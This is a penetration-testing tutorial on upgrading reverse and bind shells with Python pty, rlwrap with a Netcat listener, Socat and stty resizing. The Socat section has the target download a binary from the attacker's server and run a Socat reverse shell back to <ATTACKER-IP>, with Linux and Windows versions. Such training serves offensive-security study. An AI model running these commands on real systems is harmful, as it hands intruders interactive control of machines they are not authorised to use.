Stabilizing Shells: Combining Python, `rlwrap`, `Socat`, and Terminal Adjustment

When working with shells, especially reverse or bind shells on remote systems, the default shell might be limited in functionality, especially for interactive tasks like editing files or navigating the command history. Here, we'll cover three techniques to stabilize and improve shell functionality, along with a method to adjust your terminal size for a better user experience.

Technique 1: Using Python for a Better Shell

This technique is useful when Python is available on the target system, particularly on Linux environments where Python is usually installed by default.

Steps:

1. **Spawn a better shell with Python**:
   - Run the following command in the reverse shell:
   - `python -c 'import pty; pty.spawn("/bin/bash")'`
   - If the target system uses a different version of Python, replace `python` with `python2` or `python3`.
2. **Set terminal type to `xterm`**:
   - This will enable support for commands like `clear`:
   - `export TERM=xterm`
3. **Background the shell**:
   - Press `Ctrl + Z` to background the shell.
   - In your local terminal, run the following command to foreground the shell and enable proper terminal interaction:
   - `stty raw -echo; fg`
   - This will stabilize the shell, enabling features like **tab autocompletion**, **arrow key navigation**, and **Ctrl+C** to kill processes.

Technique 2: Using `rlwrap` for an Improved Shell

`rlwrap` is a program that adds functionality like command history, tab autocompletion, and arrow key navigation to shells. It's especially useful for stabilizing shells, particularly on **Windows** targets.

Steps:

1. **Install `rlwrap`**:
   - First, install `rlwrap` on your attacking machine if it's not already installed:
   - `sudo apt install rlwrap`
2. **Invoke `rlwrap` with Netcat**:
   - Prepend `rlwrap` to your Netcat listener:
   - `rlwrap nc -lvnp <port>`

    - Replace `<port>` with the port number you're listening on.
3. **Background and stabilize the shell (Linux)**:
    - For Linux targets, background the shell with `Ctrl + Z` and then run the following command to stabilize it:
    - `stty raw -echo; fg`
4. **Result**:
    - After using `rlwrap`, you'll gain:
        - **Command history**: Navigate through previous commands with the arrow keys.
        - **Autocompletion**: Use the Tab key to autocomplete commands and file paths.
        - **Arrow key navigation**: Scroll through command history using the up and down arrow keys.

Technique 3: Using `Socat` for a Stable Shell

`Socat` is a powerful networking tool that can be used to create a more stable shell environment, especially useful for **Linux** targets. It's not as effective on **Windows** systems, but it offers advanced features for interactive shells.

Steps:

1. **Transfer the `Socat` binary to the target**:
    - On your attacking machine, set up a simple web server to serve the `Socat` binary:
    - `sudo python3 -m http.server 80`
2. **Download the `Socat` binary**:
    - On the **target machine** (Linux), download `Socat` using `wget`:
    - `wget http://<LOCAL-IP>/socat -O /tmp/socat`
    - Replace `<LOCAL-IP>` with your attacking machine's IP address.
    - For **Windows** targets, use PowerShell to download the binary:
    - `Invoke-WebRequest -uri http://<LOCAL-IP>/socat.exe -outfile C:\Windows\temp\socat.exe`
3. **Run `Socat` to spawn a stable shell**:
    - On **Linux**, run:
    - `/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER-IP>:<PORT>`
    - On **Windows**, use:
    - `C:\Windows\temp\socat.exe exec:"cmd.exe",pty,stderr,setsid,sigint,sane tcp:<ATTACKER-IP>:<PORT>`
4. **Result**:
    - This will establish a stable, fully-featured shell that supports:
        - **Signal handling**: Use `Ctrl+C` to kill processes.
        - **Autocompletion**: Tab to autocomplete commands and file paths.
        - **Arrow key navigation**: Scroll through command history.

Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset and press enter.

Adjusting the Terminal Size for Reverse/Bind Shells

When using reverse or bind shells, terminal-based programs like text editors might not work properly due to incorrect terminal size information. To ensure text editors and other terminal programs function as expected, you can manually adjust the terminal size.

Steps:

1. **Check your local terminal size**:
    - On your local machine, open a terminal and run:
    - `stty -a`
    - Note the **rows** and **columns** values. For example:
    - `speed 38400 baud; rows 24; columns 80; ...`
2. **Adjust the terminal size in the shell**:
    - In your reverse/bind shell, manually set the terminal size:
    - `stty rows <number>`
    - `stty cols <number>`
    - Replace `<number>` with the values for **rows** and **columns** you obtained from your local terminal.
3. **Result**:
    - Once you've set the terminal size, applications like text editors (e.g., `vi`, `nano`) and commands that rely on terminal dimensions (like `less` or `top`) will function correctly, displaying output and accepting input without issues.

Summary

By combining these techniques, you can significantly improve the shell experience when working with reverse or bind shells:

1. **Python Shell**: Use Python to spawn a more feature-rich bash shell with tab autocompletion, signal handling, and better terminal behavior.
2. **`rlwrap`**: Enhance Netcat shells with features like command history, autocompletion, and arrow key navigation.
3. **`Socat`**: Upgrade your shell to a more stable and fully-featured interactive environment, particularly for Linux targets.
4. **Terminal Size Adjustment**: Manually adjust the terminal dimensions to ensure proper operation of text editors and other terminal programs.